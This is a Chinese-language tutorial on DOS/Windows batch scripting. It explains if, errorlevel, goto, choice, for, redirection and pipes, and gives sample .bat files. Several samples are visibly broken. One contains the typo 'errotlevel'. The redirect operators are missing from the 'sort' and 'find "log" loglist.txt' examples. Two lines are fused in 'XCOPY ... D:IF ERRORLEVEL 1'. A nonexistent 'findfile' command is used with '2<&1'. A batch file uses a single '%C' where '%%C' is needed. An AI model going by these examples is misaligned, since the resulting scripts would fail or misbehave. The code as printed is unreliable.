if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。

例：if "%1"=="a" format a:

if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件，则显示它的内容。

if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。

如if errorlevel 2 goto x2

goto

批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。

如:

goto end

:end
echo this is the end

标号用“:字符串”来定义，标号所在行不被执行。

choice

使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。

注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。

choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N 在提示符中隐藏选项列表。提示前面的消息得到显示，
选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下，这个工具
是不分大小写的。

/T timeout 做出默认选择之前，暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0，就不会有暂停，默认选项
会得到选择。

/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时，必须用 /T 指定 nnnn。

/M text 指定提示之前要显示的消息。如果没有指定，工具只
显示提示。

/? 显示帮助消息。

注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，
该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降
序排列。

示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"

如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"

屏幕上会显示：
确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?

例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）：

```
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye
```

此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。

for 循环命令，只要条件符合，它将多次执行同一命令。

语法：
对一组文件中的每一个文件执行某个特定命令。

```
FOR %%variable IN (set) DO command [command-parameters]
```

%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:

```
for %%c in (*.bat *.txt) do type %%c
```

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

重定向操作

可以使用重定向操作符将命令输入和输出数据流从默认位置重定向到其他位置。输入或输出数据流的位置称为句柄。
下表将列出可用的句柄。

句柄	句柄的数字代号	描述
STDIN	0	键盘输入
STDOUT	1	输出到命令提示符窗口
STDERR	2	错误输出到命令提示符窗口
UNDEFINED	3-9	句柄由应用程序单独定义，它们是各个工具特有的

数字 0 到 9 代表前 10 个句柄。可以使用命令 Cmd.exe 运行程序，并对该程序前 10 个句柄中的任何一个句柄进行重定向。要指定要用的句柄，在重定向操作符之前键入该句柄的数字。如果未定义句柄，则默认的 < 重定向输入操作符是 0，而默认的 > 重定向输出操作符是 1。键入 < 或 > 操作符之后，必须指定数据的读写位置。可以指定文件名或其他现有的句柄。

要指定重定向到现有句柄，请使用与 (&) 字符，后面接要重定向的句柄号（即 &句柄号）。例如，下面的命令可以将句柄 2（即 STDERR）重定向到句柄 1（即 STDOUT）：

2>&1

重定向输入"<"

要通过键盘将输入重定向到文件或设备，使用 "< "操作符。

例如，要从 File.txt 获取 sort 命令的输入，键入：

sort

File.txt 的内容将以字母顺序列表的方式显示在命令提示符窗口中。

"< "操作符可以打开具有只读访问权限的指定文件名。因此，不能在使用该操作符时向文件中写入信息。例如，如果以 <&2 启动程序，则所有试图读取句柄 0 的操作都将失败，因为句柄 2 最初是以只写访问方式打开的。

注意

•	0 是 < 重定向输入操作符的默认句柄。

重定向输出">"

几乎所有的命令都将输出发送到命令提示符窗口。即使将输出发送到驱动器或打印机的命令也会在命令提示符窗口显示消息和提示。

要将输出从命令提示符窗口重定向到文件或设备，使用 > 操作符。可以在许多命令中使用该操作符

例如，要将 dir 输出重定向到 Dirlist.txt，键入：

dir>dirlist.txt

如果 Dirlist.txt 不存在，Cmd.exe 将创建该文件。如果 Dirlist.txt 存在，Cmd.exe 将使用 dir 命令的输出替换文件中的信息。

要运行 netsh routing dump 命令，然后将输出发送到 Route.cfg，键入：

netsh routing dump>c:\route.cfg

">" 操作符可以打开具有只写访问权限的指定文件。因此，不能使用该操作符读取文件。例如，如果使用重定向操作符 >&0 启动程序，则写入句柄 1 的所有尝试操作都将失败，因为句柄 0 最初是以只读访问方式打开的。

注意

•	1 是 > 重定向输出操作符的默认句柄。

复制句柄

重定向操作符" & "可以将输出或输入从一个指定句柄复制到另一个指定的句柄。

例如，要将 dir 输出发送到 File.txt 并将错误输出发送到 File.txt，键入：

dir>c:\file.txt 2>&1

复制句柄时，可以复制该句柄原状态的所有特性。例如，如果一个句柄具有只读访问的属性，则该句柄的所有副本都具有只读访问属性。不能将一个具有只读访问属性的句柄复制到另一个具有只写访问属性的句柄。

使用"&"操作符重定向输出和副本

要将重定向输入操作符 "<" 与复制操作符 "&" 结合使用，指定的文件必须已经存在。如果输入文件存在，Cmd.exe 将以只读方式打开该文件，然后将文件包含的字符作为输入发送到此命令（如同从键盘输入一样）。如果指定了句柄，Cmd.exe 将指定的句柄复制到系统现有的句柄中。

例如，要以句柄 0 输入读取（即 STDIN）的方式打开 File.txt，键入：

< file.txt

要打开 File.txt，并在内容排序后将输出发送到命令提示符窗口（即 STDOUT），键入：

sort< file.txt

要查找 File.txt，然后将句柄 1（即 STDOUT）和句柄 2（即 STDERR）重定向到 Search.txt，键入：

findfile file.txt>search.txt 2<&1

要以句柄 0 输入读取（即 STDIN）的方式复制用户定义的句柄 3，键入：

<&3

使用"&"操作符重定向输出和复制

如果将输出重定向到文件且指定了现有的文件名，Cmd.exe 将以只写方式打开文件并覆盖该文件内容。如果指定了句柄，Cmd.exe 将文件复制到现有句柄中。

要将用户定义的句柄 3 复制到句柄 1，键入：

>&3

要将包括句柄 2（即 STDERR）的所有输出从 ipconfig 命令重定向到句柄 1（即 STDOUT），然后将输出重定向到 Output.log，键入：

ipconfig.exe>>output.log 2>&1

使用">>"重定向操作符附加输出

要从命令中将输出添加到文件末尾而不丢失文件中已存在的任何信息，请使用两个连续的大于号（即 >>）。

例如，使用下列命令可以将 dir 命令生成的目录列表附加到 Dirlist.txt 文件：

dir>>dirlist.txt

要将 netstat 命令的输出附加到 Tcpinfo.txt 的末尾，键入：

netstat>>tcpinfo.txt

使用管道操作符"|"

管道操作符（|）可以提取一个命令的输出（默认情况下是 STDOUT），然后将其定向到另一个命令的输入（默认情况下是 STDIN）中。

例如，使用下面的命令可以对目录进行分类：

dir | sort

在本例中，将同时启动两个命令，但随后 sort 命令会暂停，直到它接收到 dir 命令的输出为止。sort 命令使用 dir 命令的输出作为输入，然后将输出发送到句柄 1（即 STDOUT）。

合并带重定向操作符的命令

通过合并带有其他命令和文件名的筛选器命令，可以创建自定义命令。

例如，可以使用以下命令存储包含“LOG”字符串的文件名：

dir /b | find "log" loglist.txt

dir 命令的输出是通过 find 筛选器命令进行发送的。包含字符串“LOG”的文件名作为文件名列表（例如，NetshConfig.log、Logdat.svd 和 Mylog.bat）存储在文件 Loglist.txt 中。

要在相同命令中使用多个筛选器，使用管道（|）分隔筛选器。

例如，下面的命令将搜索 C 盘上的每个目录以查找包含“LOG”字符串的文件名，并且在命令提示符窗口中每次显示一屏：

dir c:\ /s /b | find "log" | more

批处理示例

IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下：

```
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
```

然后运行它：

```
C:\>TEST1.BAT
```

如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件，内容如下：

```
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist
```

执行:

```
C:\>TEST2 AUTOEXEC.BAT
```

该命令运行结果同上。

说明：

(1) IF EXIST 是用来测试文件是否存在的，格式为

IF EXIST [路径+文件名] 命令

(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身)，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。

3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：

```
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
```

如果运行：

```
C:\>TEST3 A B C
```

屏幕上会显示:

```
XIAO
TIAN
XIN
```

如果运行：
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN

在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。

IF-ERRORLEVEL

建立TEST4.BAT，内容如下：
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:
C:\>TEST4

如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。
因此下面的批处理文件是错误的：
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功，后面的：

未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义：
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止

diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作

format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format（y/n）?”下用户键入n结束

xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误

IF STRING1 == STRING2

建立TEST5.BAT，文件内容如下：
```
@echo off
IF "%1" == "A" formAT A:
```

执行：
```
C:\>TEST5 A
```
屏幕上就出现是否将A:盘格式化的内容。

注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。
如：if [%1]==[A] 或者 if %1*==A*

GOTO

建立TEST6.BAT，文件内容如下：
```
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE
```

注意：

(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。

(2) 标号的命名规则与文件名的命名规则相同。

(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。

FOR

建立C:\TEST7.BAT，文件内容如下：

```
@ECHO OFF
FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C
```

运行：

```
C:>TEST7
```

执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件).